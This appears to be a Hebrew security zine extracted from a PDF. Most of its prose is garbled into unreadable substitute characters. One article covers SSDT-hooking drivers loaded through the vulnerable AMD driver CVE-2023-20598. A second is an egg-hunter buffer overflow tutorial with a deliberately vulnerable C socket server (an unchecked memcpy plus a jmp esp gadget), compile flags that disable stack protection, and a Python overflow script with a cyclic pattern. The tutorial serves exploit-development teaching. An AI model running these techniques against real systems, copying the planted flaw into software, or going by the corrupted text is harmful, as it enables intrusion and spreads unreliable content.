Driverπ˫˧ ˫˧˧˸˷˪ˣ˥ˢ ύˢ˟˧˸˩ ˢ˞˧˶˵ˣ ˸˧˪ˮ˶˵ Σ˫ˠ ˭˩ ˶ˣ˸˧˞ ˸ˣ˪ˣ˰˲ ˸ˣ˧ˬ˧ˮ˲ξSystem Services ό˨˶˦˴ˮ 

˫ˣ˶ˠ˪ ˰˦˵˪ ˡˣ˵ ˭˸˧ˮ ˢ˴˶ˢ˪ ˪˧˰˲ˢ˪ ˸˞ sπDriverEntry ˣˮ˪˷ Φˢ˷˰ˮ ˸˞ˤ ˸˶ˤ˰˟ SSDT inline hook ύ˭˸˧ˮ 

˫ˠ ˰˴˟˪ SSDT hook x˞ ˢ˦˧˷ ˸˶˥˞ ˨˞ ˸ˣ˦˧˷ ˣ˪˞ ˣ˧ˢ˧ ˸ˣ˷˵ ˶˸ˣ˧ ˷ˣˬ˧ˬ˪ ˞˪ˣ ˸ˣˣ˷ ˸˞ ˳ˬ˞ˬˢ Σˡ˥ˣ˧ˬ˟ 

˪˪ˠ˟ ˢˡ˟ˣ˰ˢ ˣˮ˥ˮ˞˷ ˞˪˧ˬˬ ˫˧˷ˬ˸˷ˬ ˟πSystem Service ˧˷ˣ˵˟˷ ˷˧ x˟ ˷ˣˬ˧˷ Σό˨˧˪ˢ˸ˢ ˢ˞˶˧ ˨˩Υ 

мΦ ˶˸˞˪ ˷˧ System Service ˷˞˴ˬˮ ˷ˣˬ˧˷˟ ˸ˣ˶˧ˡˮ ˫˧˸˧˰˪ ˵˶ ύ˞ˬˠˣˡ˪ π NtAddAtomό Φ˭˸˧ˮ  ˸ˣ˷˰˪

˟ ˸˞ˤ˸ˣ˰˴ˬ˞ GetModuleHandleA xπGetProcAddress ˪˰ ntdll.dllΦ 

нΦ ˶˥˞˪ ˭˩ˬ Σ˶ˣˬ˷˪ ˷˧ ˸˞ ˫˧˸˟ˢ ˫˧ˮˣ˷˞˶ˢ ˪˷ )sizeof(Payload ˪˷ ˣ˸ˣ˞ sπSystem Service Φ ˷˧

˷ˬ˸˷ˢ˪ ˸ˣ˪ˣ˩˧˟ write-to-read-only ύ˸ˣ˰˴ˬ˞˟ MDLs x˞ ˸ˣ˦˧˷ ˸ˣˬˣˡ ό˸ˮˬ ˪˰ ˟ˣ˸˩˪ ˸˞ sπ

Payload ˟˸˩ˣ˷ˬˢ ˫˰ ˸˩ˢ˸˟ˣ ˫˸ˠ˷ˢ˷ ˟˪˷˟ м Σ˪˰ ˸˪˧˥˸ ˣ˸ˣ˞ sπSystem ServiceΦ 

оΦ ˶˥˞˪ ˭˩ˬ Σˣ˞˶˵ ˪πSystem Service ˰Ϧ˧ ˷ˣˬ˧˷ ˣ˸˟ˣ˸˩˟ x˞ ˸˧˴˵ˮˣ˲˟ UsermodeΦ 
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ˢˮ˧ˢ  ˫˧˷˶˸ˠ˧˴ˬˢ  ˭˲ˣ˞˟ ˸˞ˤˤ˧ˣ:˧˪˞ˣ' 

 

˧˸˶˷˧˵ ˢ˦ˬ˪ ˸˞ ˡˣˬ˰ˢ ˧ˬ˷˶ˢ ˪˷ KDMapper ˶ˣ˟˰ ˫˧˷ˮ˞ ˣ˴˶˧˷ ˵ˬ˰˸ˢ˪ ˭ˣ˶˸˲˟ Σ˨˞ ˭ˣ˶˵˰˟ ˣˮ˥˪˴ˢ 

ˣ˴˧˪ ˶Manual Driver Mapper ˣˮˬ˴˰˟Η 

 

˯ˣˮˣ˟Υ ˢ˯ˡˮˢ ˶ˣ˥˞˪ ˪˷ Driver ˧˸˷˪ˣ˥ 

˶˥˞˪ ˸˧˧ˮ˟ Manual Mapper ˣˮ˪˷ˬ Σ˪˩˸˯ˮ ˣ˧˷˩˰ ˪˰ Driver ˧˸˷˪ˣ˥ ˢ˪ˠ˸ˢ˷ ˷ˬˬ ˢˮˣ˶˥˞˪ ˢ˞˶ˮˣ 

˨˧˞ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˟πDriver ˢˤ˩ ˧ˡ˩ ˸ˣˮ˟˪ Manual Mapper x˞ ˸ˣ˵ˤˣˮ ˸ˣ˧˪ˮ˶˵ ˸ˣˬˣˡ ΦπsDriver 

˪˩˸˯ˮ˷ ˣ˧˪˰ ˞ˣˢ CVE-2023-20598 Σˣ˞ ˫˷˟ ˧˸˧ˬ˞ˢ ˣ˪˷ π pdfwkrnl.sys Φˣˢˤ graphics Driver ˪˷ AMD 

˭˸ˮ˷ ˸ˣ˶˷˲˞ ˱˵ˣ˸˪ ˫˰ ˸ˣ˞˷˶ˢ ˪ˢˮˬ ˥ˣ˪˷˪ IOCTLπ˫˧ ˫˰ ˫˧˶˦ˬ˶˲ ˫˧ˬ˧ˣ˯ˬ ˣ˪˧˰˲˧˷ ˸ˣ˪ˣ˰˲ ˸ˣ˧˪ˮ˶˵ 

˞˪˪ ˞ˣˡ˧ˣ ˫˞ ˞˶ˣ˵ˢ ˧˞˷˶ ˷ˬ˸˷ˢ˪ ˭˸ˣ˞˟ ˸ˣ˪ˣ˰˲ ύˣ˪˞ ˸ˣ˷˪ˣ˥ ˡˣ˞ˬ ˸ˣ˴ˣ˲ˮ ˟πvulnurable DriversΦό 

˧˸˶˷˧˵ ˱ˣ˯˟ ˶ˬ˞ˬˢ ˸˞ ˡˣˬ˰ ˟˞ˢ˦˧ˠˢ ˧˪˷ Σˣ˟ ˧˸˥˸˧ˮ ˸˞ sπDriver ˧˸ˮ˩ˢˣ PoC ˭˰ˣ˦˷ ˢˮ˩ˣ˸ ύˢ˶˵ˬ˟ 

ˢˤ netstat.exe ό˨ˣ˸˪ ˭ˣ˶˩ˤ non-paged ˰ˣ˟˵ ˪ˮ˶˵˟ Σˢˬ ˢˣˣˢˬ˷ ˸˞ ˯˧˯˟ˢ ˪˩˪ Mapper ˧˪ˮ˶˵ Φ˱˯ˣˮ˟ 

˨˩˪ Σ˧˸˲˯ˣˢ ˫ˠ ˶ˣ˷˧˵ ˟ˣ˧˦ˣ˧˪ ˧˪˷ x˟ ˧ˮ˞ ˢ˞˶ˬ ˸˞ ˢ˷ˬ˷ˢˢ ˸ˡ˟ˣ˰ ˫˰ Kernel Debugger ˥ˣ˸˧ˮˣ ˪˷ 

˭ˣ˶˩ˤˢΦ 
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ˤ˞ ˫ˣ˩˧˯˪ΦΦΦ 

˶ˬ˞ˬˬ ˢˤ ˭˸˧ˮ ˸ˣ˞˶˪ ˢˬ˩ ˵ˤˮ ˸˩˶˰ˬ˪ ˪ˣ˩˧ ˫˶ˠˢ˪ ˬπDriver ˡ˥˞ ˟˸˩ˮ˷ ˢ˶ˣ˴˟ ˞˪ ˢ˟ˣ˦ Φ˧˟˸ˣ˩ sπ

Driverπ˫˧ ˫˧ˡˬˣ˰ ˪ˣˬ ˢˬ˪˧ˡ ˢ˷˵ Υ˫˞ˢ ˵˧˸˰ˢ˪ ˡˣ˵ ˬπDriverπ˫˧ ˫˧ˬˣˡ ˫˧ˬ˧˧˵ ύˢˬ ˶˸ˣ˧˷ ˸ˣ˪˸ ˸ˮ˩ˣ˯ˬ 

ˡˣ˞ˬ Σ˫˞ ˧˶ˣ˵ˬˢ ˧˸˷˪ˣ˥ ˤ˞ ˫ˠ ˪˩ s˶˞˷ ˣ˵˧˸˰ˢ˷ ˣˮˬˬ ˣ˧ˢ˧ ˨˩ Σόˣ˞ ˟ˣ˸˩˪ ˨ˬ˴˰˟ ˸˞ sπDriver ύ˫ˠ ˢˤ 

˪ˣ˩˧ ˪˧˟ˣˢ˪ ˸ˣ˴˶˲˪ ˢ˥˦˟˞ ˧˷ˣ˵ˢˬ ˪˷ ˸˟˧˸˩ Driver ˧˸ˣ˩˧˞ Σˡ˥ˣ˧ˬ˟ ˫˧˲˧˯ˣˬ˷ ˡˣ˰ ˡˣ˰ˣ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ 

˸˷˶ˣˡ˷ ˶˸ˣ˧ ˸ˣ˪ˣ˰˲ ˨˧˶˴˷ ˪˲˦˪ ˫ˢ˟ ˟πDriver Φό 

˸ˬ˞˟ ˢ˞˴ˣ˸˩ ˢˬ˪˧ˡˬ xʕ ˦˰ˬ˩ ˪˩ ˸ˣ˷˪ˣ˥ˢ ˱ˮ˰˟ ˢˤˢ ˪˷ ˣ˩˶˰ˬ ˸ˢ˪˰˲ˢ ξ Windows ˯˯ˣ˟ˬ ˪˰ 

˸ˣ˧ˣ˰˦ ˪˷ ˟˸ˣ˩ˢ Σ˞ˣˡ˧ˣˬ ˧ˬ˷ ˷˵˧˟˷ ˰˴˟˪ ˸˞ ˢ˪ˣ˰˲ˢ ˧˞˷˶ ˸ˣ˷˰˪ ˸˞ˤ ˡ˰ˣ ˞ˣˡ˧ˣ ˭ˣ˩ˮ ˫˧˞˸ˬˣ ˪˷ 

˫˧˶˦ˬ˶˲ ˢ˪ˣ˰˲˪ Φ˪˩ ˡ˥˞ ˣ˪˞ˬ ˫˧˪ˣ˩˧ ˶ˣˤ˰˪ ˱˵ˣ˸˪ ˰˴˟˪ ˢ˪ˣ˰˲ ˸˧ˮˣˡˤ ˰ˠ˲˸˷ ˸ˣ˷˵ ˸˩˶˰ˬ˟ Σ˶ˬ˞ˬˣ 

ˢˤ ˷˧˥ˬˬ ˸˞ˤΦ 

 

ˢ˧˲˶ˠˣ˧˪˟˧˟ 

˶˟˯ˢ ˪˰ ˢ˶ˣ˴ˢ ˢ˟˷ ˧˴˰ AVL ˫˧˞˶ˮ ˟πWindowsΥ 

https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_rtl_avl_table 

˶˟˯ˢ ˪˰ ˸˞˧˴ˬ ˫˧ˮ˟ˬ ˞˪ ˫˧ˡ˰ˣ˸ˬ: 

https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm 

˶˟˯ˢ ˪˰ wdfilter.sysΥ 

https://n4r1b.com/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1κ  

˶˟˯ˢ ˪˰ relocationsΥ 

https://0xrick.github.io/win-internals/pe7κ 

˶˟˯ˢ ˪˰ PE format ˪˰ˣ Security Stack Cookie ˦˶˲˟: 

https://www.digitalwhisper.co.il/fi les/Zines/0x5A/DW90-3-PE.pdf 

˶ˣ˷˧˵ ˦˵˧ˣ˶˲˪ KDMapperΥ 

https://github.com/TheCruZ/kdmapper/blob/masterκ 

˶ˣ˷˧˵ ˢ˷ˬ˷ˢ˪ ˪˷ Driver ˧˸˷˪ˣ˥Υ 

https://github.com/shaygitub/VulnDrivers/tree/main/CVE-2023-20598/CVE-2023-20598 

˶ˣ˷˧˵ ˸ˬˠˡˢ˪ ˷ˬ˷ˢˢ:ˢ 

https://youtu.be/BvYN_TcAZfU 

https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_rtl_avl_table
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm
https://n4r1b.com/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1/
https://0xrick.github.io/win-internals/pe7/
https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf
https://github.com/TheCruZ/kdmapper/blob/master/
https://github.com/shaygitub/VulnDrivers/tree/main/CVE-2023-20598/CVE-2023-20598
https://youtu.be/BvYN_TcAZfU
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˪˰ ˶˟˥ˬˢ 

ˡ˧ˬ˪˸ ˧˟Ϧ˟ ˭˧˧ˮ˰˸ˬ˷ ˡˣ˞ˬ ˧ˬˣ˥˸˟ ˥ˣ˸˧˲ˢ ˶˵˥ˬˣ ˸˟˧˟˯˟ Low Level Σ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˸˥˦˟˞ˣ ˰ˡ˧ˬ Φ

˭˧˧ˮˣ˰ˬ ˡˣ˞ˬ ˥˸˲˪ ˸˞ ˰ˡ˧ˢ ˧˪˷ ˡˣˬ˪˪ˣ ˡˣ˰ ˧ˡ˩ ˥˸˲˸ˢ˪ ˫ˣ˥˸˟ Φ˭˧˟ ˫˧˦˵˧ˣ˶˲ˢ ˫˧˧ˤ˩˶ˬˢ ˧˪˷ ˧˸ˡ˟˰ 

˪˰ ˦˧˵˦ˣ˶ ˸˩˶˰ˬ˪ ˢ˪˰˲ˢˢ Windows 10 ˧ˡ˩ ˞˧˟˥ˢ˪ ˫˧˩˧˪ˢ˸Σ ˫˧˴˟˵ ˸˶ˣ˟˰˸ˣ ˸˷˶ Σˣˬ˩ ˭˩ ˫ˠ 

˧˸˥˸˧˲ ˸˩˶˰ˬ ˢˮˠˢ˪ ˸ˣ˵ˤˣˮˬ ˸ˣ˧˪ˮ˶˵ ˣˬ˩ ˧˪˷ ˸ˣ˶˥˞ˣ ˧˸˥˸˧˲ˣ ˧˸˶˵˥ˣ ˫˧˶˟˧˧˶ˡ ˮ˟ˬˣ ˧˫˧ˮˣ˸ˮ ˫˧˧ˬ˧ˮ˲ 

˫˧˟˶ Φ 

˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˫˧˦˵˧ˣ˶˲ˢ ˣ˪˞ˢ ˫˧˶˥˞ˣ ˡˣˬ˰˟ ˟˞ˢ˦˧ˠˢ ˧˪˷Υ 

 https://github.com/shaygitub 

˭˸˧ˮ ˶ˣ˴˧˪ ˧˸˧˞ ˶˷˵ ˨˶ˡ ˪˧˧ˬ˧˞ˢ ˧˪˷ Υ 

shaygilat@gmail.com 

 ˞ˣ˨˶ˡ ˡˣˬ˰ ˭˧˞ˡ˵ˮ˧˪ˢ ˧˪˷Υ 

https://www.linkedin.com/in/shay-gilat-67b727281 

  

https://github.com/shaygitub
https://github.com/shaygitub
mailto:shaygilat@gmail.com
https://www.linkedin.com/in/shay-gilat-67b727281/
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 ˫˧˴˧˟ ˡ˧˴ ˪˰ˣ˪˟ˠˬˣ˫ˣ˵ˬ ˸ 

˟ˣ˦ ˫˷ ˪˞ˮ˸ˮˣ ˯ˣ˪˧˲ ˭˟ ˸˞ˬ 

 

ˢˬˡ˵ˢ 

ˡ˥˞ ˫˧˶ˠ˸˞ˢ ˫˧˧ˤ˩˶ˬˢ ˫˧ˡˬˣ˰ˢ ˧ˮ˲˟ ˫˧˲˵ˣ˸ ˸˰˟ ˸˟˧˸˩ x˵ l˪ˣ˴˧ˮ˪ ˸ˣ˷˪ˣ˥ ˞ˣˢ ˸ˣ˪˟ˠˬ ˥˦˷ˢ 

˭˧ˬˤˢ Φ˫˧˸˧˰˪ Σ˫ˣ˵ˬˢ ˣˮ˧˞ ˵˧˲˯ˬ ˸˵˶ˤˢ˪ shellcode Σˡ˥ˣ˧ˬ˟ ˶˷˞˩ ˶˟ˣˡˬ ˡˣ˵˟ ˟˩˶ˣˬ ˣˬ˩Reverse 

Shell Φ˧ˡ˩ ˡˡˣˬ˸ˢ˪ ˫˰ ˶ˠ˸˞ ˢˤ Σˢ˥˸ˣ˲ ˸˵˧ˮ˩˦ ϦEgg Hunting ΣϦˣ˞ ˸˧˶˟˰˟Ϧ Υˡ˧˴ ˫˧˴˧˟Ϧ  ˪˰)˫˷ 

˵˥˷ˬˢ ˠˣˢˮ˷ ˵˥˷˪ ˠ˥˟ ˞˥˯˲ˢ(˞) ˢ˥˸ˣ˲ ˢ˵˧ˮ˩˦ˢ . ˧"˰ (ˢˮˣ˷˞˶˪ ˢˬ˯˶ˣ˲ ˸ˣ˥˲˪ ˣMatt Miller 

ύSkapeό :˫˷˟ ˶ˬ˞ˬ˟ "Safely Searching Process Virtual Address Space ."˶ˬ˞ˬˢ ˫˯˶ˣ˲ ˧ˮ˲˪ ˦˰ˬ 

ˣ˧˶˸ ˬ-20 ˫ˣ˧ˢ ˡ˰ ˣˤ ˢ˵˧ˮ˩˦˟ ˫˧˷ˬ˸˷ˬˣ ˢˮ˷! 

 

ˢ˶˴˵˟ ˪˰ ˸˷˧˪ˠ ˳˴ˣ˥  

Buffer Overflow ˷˥˶˸ˬ ˶˷˞˩ ˸˧ˮ˩ˣ˸ ˢ˯ˮˬ ˟ˣ˸˩˪ ˶˸ˣ˧ ˧ˡˬ ˫˧ˮˣ˸ˮ ˨ˣ˸˪ ˶ˣˤ˞ ˭ˣ˶˩˧ˤ ˪ˡˣˠ˟ ˰ˣ˟˵ Σˢˬ 

˪ˣ˪˰˷ ˫ˣ˶ˠ˪ ˢ˯˧˶ˡ˪ ˪˷ ˰ˡ˧ˬ ˟ˣ˷˥ ˭ˣ˶˩˧ˤ˟ ˟˷˥ˬˢ Σˣˬ˩ ˪˷ˬ˪ ˸˟ˣ˸˩ ˢ˶ˤ˥ˢ ˪˷ ˢ˧˴˵ˮˣ˲Φ ˪˧˟˷˟ 

˷˧ˬ˷ˢ˪ ˢ˷˪ˣ˥ xʕ ˯ˣ˶ˡˮ ˸˞ ˸˟ˣ˸˩ ˢ˶ˤ˥ˢ ˫˰ ˸˟ˣ˸˩ˢ ˪˷ sπshellcode ˣˮ˪˷ ύ˫˞ ˞˧ˢ ˢ˰ˣ˟˵ όˣ˞ ˪˷ 

˰˦˵ ˡˣ˵ ˳ˣ˲˵˧˷ ˪πshellcode ˣˮ˪˷ ύˢˬˠˣˡ˪ jmp espΦό 

 

ˤ˞ ˢˬ˪ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ Egg HunterΚ 

Egg Hunter ˞˧ˢ ˸˵˧ˮ˩˦ ˪ˣ˴˧ˮ ˸˷ˬ˷ˬˢ ˸ˣ˲˵˸ˢ˟ ˠˣ˯ˬ ˸˷˧˪ˠ ˳˴ˣ˥ ΦEgg hunter ˯ˮ˩ˮ ˢ˪ˣ˰˲˪ ˶˷˞˩ 

˭˧˞ ˵˧˲˯ˬ ˬ˫ˣ˵ ˟πBuffer ˧ˡ˩ ˯˧ˮ˩ˢ˪ ˸˞ ˪˩ ˡˣ˵ˢ ˧ˮˣˡˤˢ ύShellcode ό˸˟˟ ˸˥˞ Φ˫ˣ˵ˬ˟ ˸˞ˤ Σ˵˪˥ ˭˦˵ 

ˡˣ˵ˢˬ Σ˞˶˵ˮˢ hunter Σ˯ˮ˩ˣˬ ˪πBuffer Φˡˣ˵ sπhunter ˷˲˥ˬ ˸˞ s-egg ύ˭˞˩ˬ ˞˟ ˫˷ˢ egg hunter ό

˸˲˶ˣ˴ˬ˷ ˪πshellcode ˣˮ˪˷ Σ˶˷˞ ˥ˮˣˢ ˫ˣ˵ˬ˟ ˶˥˞ ˭ˣ˶˩˧ˤ˟ ύˢˬˠˣˡ˪ sπheap Σό˳˲ˣ˵ˣ ˣ˧˪˞Φ 

  

https://www.hick.org/~mmiller/
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
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˦ˢ˵˧ˮ˩ xʕ ˸˧˷ˣˬ˧˷ ˡ˥ˣ˧ˬ˟ ˶˷˞˩ ˪ˡˣˠ sπBuffer ˪˟ˠˣˬ Σ˨˞ ˭˧˧ˡ˰ ˶˷˲˞ˬ ˢ˦˧˪˷ ˸ˬ˧ˣ˯ˬ ˪˰ ˸ˬ˧˶ˤ 

˸˧ˮ˩ˣ˸ˢ ˫˧˧˵ˣ ˶ˣˤ˧˞ ˶˥˞ ˭ˣ˶˩˧ˤ˟ ˵˧˲˯ˬ ˪ˣˡˠ ˯˧ˮ˩ˢ˪ x˟ ˸˞ sπshellcodeΦ ˧˪ˣ˞ ˞˴˧ ˫˩˪ ˸ˣ˞˶˪ shellcode 

˶˴˵ ˳˧˲˵ˬ˷ ˸˶ˣ˷ ˢˡˣ˵˲ ˸˶ˤ˰˟ Υbin/shκ Σ˨˞ ˣˮ˸˶˦ˬ ˞˧ˢ ˠ˧˷ˢ˪ reverse shellΗ Σˡˣ˵ ˢˤ˩ ˸˩˶˰ˬ˪ 

Windows ˪ˣ˩˧ ˸˥˵˪ ˪˰ˬ рлл ˫˧˸˟Η 

˨˩ ˢˤ ˢ˞˶ˮ ˪ˣˡˠ˟: 

 

 

˫˧ˠˡˮ ˸˞ ˢ˵˧ˮ˩˦ˢ 

˸ˬˠˡˢ ˸˟ˣ˦˪ ˢ˵˧ˮ˩˦ xʕ ˣˮ˶˴˧ ˸˶˷ ˣˮ˪˷ˬ ˸˲˷˟ c Σˡˣ˵ ˸˶˷ˢΥ 

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <winsock2.h>  
#include <ws2tcpip.h>  
 
#define PORT 8080 
#define BUFFER_SIZE 1024 
#define HEADER_SIZE 50 
#define DATA_SIZE 974 
#pragma comment(lib, "Ws2_32.lib")  
 
void sub_esp_and_jmp() {  
    asm(  
        "sub $0x42, %esp\ n" 
        "jmp * %esp\ n" 
    );  
}  
 
int parseHeader ( char * recvBuffer, int counter) {  
    char headerBuffer[HEADER_SIZE] = { 0};  
    memcpy(headerBuffer, recvBuffer, counter);  
    printf ( "header >> %s\ n" , headerBuffer);  
    return 0;  
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}  
int main() {  
    WSADATA wsaData; 
    int iResult;  
    SOCKET ListenSocket = INVALID_SOCKET;  
    SOCKET ClientSocket = INVALID_SOCKET;  
    struct sockaddr_in serverAddr;  
    char * recvBuffer = ( char *) malloc (BUFFER_SIZE); 
    const char *response = "Hello from server" ;  
 
    iResult = WSAStartup( MAKEWORD( 2, 2), &wsaData);  
 
    ListenSocket = socket (AF_INET, SO CK_STREAM, IPPROTO_TCP); 
 
    serverAddr.sin_family = AF_INET;  
    serverAddr.sin_addr.s_addr = INADDR_ANY;  
    serverAddr.sin_port = htons (PORT); 
 
    iResult = bind (ListenSocket, ( struct sockaddr*)&serverAddr, sizeof (serverAddr));  
    if (iResult == SOCK ET_ERROR) { 
        closesocket (ListenSocket);  
        WSACleanup();  
        return 1;  
    }  
 
    iResult = listen (ListenSocket, SOMAXCONN);  
    if (iResult == SOCKET_ERROR) {  
        closesocket (ListenSocket);  
        WSACleanup();  
        return 1;  
    }  
 
    printf ( "Server listening on port %d\ n" , PORT);  
    ClientSocket = accept (ListenSocket, NULL, NULL);  
 
    iResult = recv (ClientSocket, recvBuffer, BUFFER_SIZE, 0);  
    if (iResult > 0) {  
        printf ( "Received data: %s\ n" , recvBuffer);  
 
        int counter = 0;  
        while (recvBuffer[counter]!= ':' && recvBuffer[counter+ 1]!= ':' ){  
            counter++;  
        }  
        counter++;  
        if (counter > 100)  
            exit ( 1);  
 
        char * data = ( char *) malloc (iResult - counter);  
        memcpy(da ta, recvBuffer+counter+ 2, iResult - counter);  
 
        parseHeader (recvBuffer, counter);  
 
        printf ( "data >> %s\ n" , data);  
        iResult = send(ClientSocket, response, ( int ) strlen (response), 0);  
        printf ( "Response sent \ n" );  
    } else if (iResu lt == 0) {  
        printf ( "Connection closing... \ n" );  
    } else {  
        printf ( "Recv failed: %d\ n" , WSAGetLastError ());  
    }  
 
    shutdown(ClientSocket, SD_SEND);  
    closesocket (ClientSocket);  
    closesocket (ListenSocket);  
    WSACleanup();  
 
    retu rn 0;  
}  

˵ˮˬ˪˲ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˞˪˪ ˸ˣˮˠˢΥ 

gcc program.c - o server.exe - m32 - lws2_32 - fno - stack - protector - no- pie  
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˶˟˯ˢ ˪˰ ˸˶˷ˢ 

ˣ˸˶˦ˬ ˪˷ ˸˶˷ˢ ˞˧ˢ ˪˟˵˪ ˢ˰ˡˣˢ Σ˯˧˲ˡˢ˪ ˢ˸ˣ˞ ˸˶ˣ˷˪ ˢˡˣ˵˲ˢ ˶˧ˤ˥ˢ˪ˣ ˢ˟ˣ˷˸ ˥ˣ˵˪˪ Φˢˮ˟ˬ ˪˷ 

ˢ˷˵˟ ˸˶˷˪ ˢ˞˶˧ ˨˩ Υheader::data Σ˸˶˸ˣ˩ ˢ˪˧˟˥ˢ ˱ˣˠˣ ˢ˪˧˟˥ˢ xˬ˫˧ˡ˶˲ ˸˶ˤ˰˟  ΦϥΥΥϥ˧ˡ˥ ˭˧˰ˢ 

˫˩˧ˮ˧˟˷ ˣˮ˧˥˟˧ ˧˩ ˸˞˧˴ˬ ˫˧ˣˣ˸ˢ ˫˧ˡ˧˶˲ˬˢ ˭˧˟ ˸˶˸ˣ˩ˢ ˱ˣˠ˪ ˸˰˴˟˸ˬ ˭˲ˣ˞˟ ˧ˬˮ˧ˡ ˭˧˞ˣ ˵˥˶ˬ ˰ˣ˟˵ 

˸˪˧˥˸ˬ ˢ˷˵˟ˢ Φ˶˥˞˪ ˞˴ˬˮ˷ ˦˯˧ˢˢ ˪˷ ˫˧ˣˣ˸ˢ ˫˧ˡ˧˶˲ˬˢ ˫˧˵˧˸˰ˬ ˸˞ ˱ˣˠ ˢ˪˧˟˥ˢ ˨ˣ˸˪ ˶ˣˤ˧˞ ˭ˣ˶˩˧ˤ 

ˢ˴˵ˣˢ˷ ˭˲ˣ˞˟ ˧ˬˮ˧ˡ ύ˟˷ˣ˧ ˟πheap ό˸˶˸ˣ˩ˣ ˢ˦˵˲ˢ ˪˷ˮ˸˥ ˢ˧˴˵ˮˣ˲˪ ˶˷˞ ˸ˡ˟˰ˬ ˢ˸ˣ˞ Φ˨ˣ˸˟ 

ˢ˧˴˵ˮˣ˲ˢ ˸˶˸ˣ˩ˢ ˸˵˸˰ˣˬ ˨ˣ˸˪ ˨˶˰ˬ ˪˷ ˫˧ˣˣ˸ ˟˷ˣ˧˷ ˟πstackΦ 

ˤ˞ ˭˩˧ˢ ˢ˧˰˟ˢΚ 

˫˧˵˧˸˰ˬ˷˩ ˸˞ ˸˶˸ˣ˩ ˢ˷˵˟ˢ ˨ˣ˸˪ ˨˶˰ˬˢ ˫˵ˣˬˬ˷ ˟πstack ˶˲˯ˬ ˫˧ˣˣ˸ˢ ˢ˵˸˰ˢ˪ ˰˟˵ˮ ˪˰ ˧˲ ˪ˡˣˠ 

˸˶˸ˣ˩ˢ ˣˮ˥ˮ˞˷ ˣˮ˥˪˷ ˞˪ˣ ˪˰ ˧˲ ˨˶˰ ˰ˣ˟˵ Φ˫˞ ˥˪˷ˮ ˶˸ˣ˧ ˫˧˸˟ ˪ˡˣˠˬ s˨˶˰ˬ ˣˮ˪˷ ˪˩ˣˮ ˯ˣ˶ˡ˪ ˫˧ˮˣ˸ˮ 

˫˧˲˯ˣˮ ˫˧˟˷ˣ˧˷ ˪˰ sπstackΦ 

 

˸˷˧˪ˠ ˳˴ˣ˥ ˸˶˷˟ 

˶ˣ˴˧ˮ ˸˧ˮ˩ˣ˸ ˭ˣ˸˧˧˲ ˢ˦ˣ˷˲ ˶˷˞ ˸˶˟˥˸ˬ ˸˶˷˪ ˸˥˪ˣ˷ˣ ˣ˧˪˞ ˢ˷˵˟Υ 

import socket  
import struct  

 
def exploit ():  
    server_address = ( '172.22.100.171' , 8080)  
    
    header = b"A" *30 
    data = b"B" *30 
    message = header + b"::" + data  
 
    sock = socket. socket (socket.AF_INET, socket.SOCK_STREAM)  
 
    try :  
        sock. connect (server_address)  
        sock. sendall (message)  
        response = sock. recv ( 1024)  
        print ( f "Received: {response. decode()} " )  
 
    finally :  
        sock. close ()  
        print ( "Connection closed" )  
 

˳˧˶ˮˣ ˢ˸ˣ˞Υ 
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˨˩ ˢ˞˶˧ ˦˪˲ˢ ˡ˴˟ ˸˶˷ˢ: 

 

ˢ˞˶ˮ ˸˶˷ˢ˷ ˡ˟ˣ˰ ˩ˢ˶ˣ˷ Φ˸˰˩ ˢ˯ˮˮ ˯ˣ˶ˡ˪ ˸˞ ˸˟ˣ˸˩ˢ ˢ˶ˤ˥ ˪˷ ˢ˧˴˵ˮˣ˲ˢ parseHeader Σ˱˧˯ˣˮ 

ˢ˟˶ˢ ϦAϦπ˫˧ ˸˶˸ˣ˩˟ ˢ˷˵˟ˢ ˸˶˷˪Υ 

    header = b"A" *70 

˶˟˥ˮ ˸˞ windbg ˸˶˷˪ ˣˮ˪˷ ˳˧˶ˮˣ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˭ˣ˸˧˧˲ ˣˮ˪˷Υ 

 

 

 

 

ˣˮ˥˪˴ˢ ˯ˣ˶ˡ˪ ˸˞ ˣ˸˩ˢ˸˟ ˢ˶ˤ˥ ˪˷ ˢ˧˴˵ˮˣ˲ˢ parseHeader Η˷˲˥ˮ ˢˬ˩ ˫˧˸˟ ˨˧˶˴ ˟ˣ˸˩˪ ˡ˰ ˯ˣ˶ˡˮ˷ 

˸˞ ˸˟ˣ˸˩ˢ ˢ˶ˤ˥ Φ˶˧˟˰ˮ ˸ˤˣ˶˥ˬ ˪˷ ˱˴˶ ˧ˡˣ˥˧ ˪˷ ˫˧ˣˣ˸ ˵ˣˡ˟ˮˣ ˢˤ˧˞ ˫˧ˣˣ˸ ˣ˯˶ˡ ˸˞ ˸˟ˣ˸˩ˢ ˢ˶ˤ˥ Φ˧ˮ˞ 

˧˸˷ˬ˸˷ˢ ˧˪˩˟ ˞˟ˢ ˪˧˟˷˟ ˶ˣ˴˧˪ ˸˞ ˱˴˶ˢ ˢˤˢ Σ˯˧ˮ˩ˮ ˸˞ ˱˴˶ˢ ˨ˣ˸˪ ˨ˣ˸˪ ˸˶˸ˣ˩ ˢ˷˵˟ˢ ˣˮ˪˷Υ 

header = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A" 

˥˪˷ˮˣ ˸˞ ˢ˷˵˟ˢΥ 

 

 

 
 

